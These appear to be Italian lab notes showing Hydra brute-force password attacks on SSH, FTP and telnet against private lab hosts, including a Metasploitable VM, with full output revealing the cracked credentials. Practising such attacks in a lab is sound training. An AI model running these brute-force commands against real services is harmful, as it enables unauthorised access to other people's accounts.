

# CRACK PASSWORD CON HYDRA

Cracking password sul server ssh

```
(test_user@kali)-[~]
$ hydra -L userlist.txt -P passlist.txt 192.168.50.100 -t 4 ssh -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:37:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "dasd" - 1 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "sad" - 2 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "ggrh" - 3 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "rhrt" - 4 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "h" - 5 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "kali" - 6 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "testpass" - 7 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "" - 8 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "dasd" - 9 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "sad" - 10 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "ggrh" - 11 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "rhrt" - 12 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "h" - 13 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "kali" - 14 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "testpass" - 15 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "" - 16 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dasd" - 17 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sad" - 18 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "ggrh" - 19 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "rhrt" - 20 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "h" - 21 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "kali" - 22 of 40 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: kali password: kali
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dasd" - 25 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sad" - 26 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ggrh" - 27 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rhrt" - 28 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "h" - 29 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 30 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 31 of 40 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "dasd" - 33 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "sad" - 34 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "ggrh" - 35 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "rhrt" - 36 of 40 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "h" - 37 of 40 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "kali" - 38 of 40 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "testpass" - 39 of 40 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "" - 40 of 40 [child 3] (0/0)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 08:38:14
```



# CRACK PASSWORD CON HYDRA

cracking password sul server ftp

```
(test_user@kali)-[~]  
$ hydra -L userlist.txt -P passlist.txt 192.168.50.100 -t 4 ftp -V  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 08:49:42  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 40 login tries (l:5/p:8), ~10 tries per task  
[DATA] attacking ftp://192.168.50.100:21/  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "dasd" - 1 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "sad" - 2 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "ggrh" - 3 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "rhrt" - 4 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "h" - 5 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "kali" - 6 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "testpass" - 7 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "ff" - pass "" - 8 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "dasd" - 9 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "sad" - 10 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "ggrh" - 11 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "rhrt" - 12 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "h" - 13 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "kali" - 14 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "testpass" - 15 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "sf" - pass "" - 16 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "dasd" - 17 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "sad" - 18 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "ggrh" - 19 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "rhrt" - 20 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "h" - 21 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "kali" - 22 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "testpass" - 23 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "kali" - pass "" - 24 of 40 [child 1] (0/0)  
[21][ftp] host: 192.168.50.100 login: kali password: kali  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dasd" - 25 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "sad" - 26 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ggrh" - 27 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "rhrt" - 28 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "h" - 29 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 30 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 31 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "" - 32 of 40 [child 3] (0/0)  
[21][ftp] host: 192.168.50.100 login: test_user password: testpass  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "dasd" - 33 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "sad" - 34 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "ggrh" - 35 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "rhrt" - 36 of 40 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "h" - 37 of 40 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "kali" - 38 of 40 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "testpass" - 39 of 40 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "testuser" - pass "" - 40 of 40 [child 3] (0/0)  
1 of 1 target successfully completed, 2 valid passwords found
```

# CRACK PASSWORD CON HYDRA

cracking telnet metasploitable

```
(test_user@kali) ~$ hydra -l msfadmin -P passmeta.txt 192.168.49.101 -t 20 telnet -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret s

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:24:07
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc.
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking telnet://192.168.49.101:23/
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "ffsdf" - 1 of 6 [child 0] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "dsf" - 2 of 6 [child 1] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "dsf" - 3 of 6 [child 2] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "sfds" - 4 of 6 [child 3] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "msfadmin" - 5 of 6 [child 4] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "" - 6 of 6 [child 5] (0/0)
[23][telnet] host: 192.168.49.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:24:20
```

cracking ftp metasploitable

```
(test_user@kali) ~$ hydra -l msfadmin -P passmeta.txt 192.168.49.101 -t 4 ftp -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 09:07:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ftp://192.168.49.101:21/
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "ffsdf" - 1 of 6 [child 0] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "dsf" - 2 of 6 [child 1] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "dsf" - 3 of 6 [child 2] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "sfds" - 4 of 6 [child 3] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "msfadmin" - 5 of 6 [child 0] (0/0)
[ATTEMPT] target 192.168.49.101 - login "msfadmin" - pass "" - 6 of 6 [child 1] (0/0)
[21][ftp] host: 192.168.49.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 09:07:20
```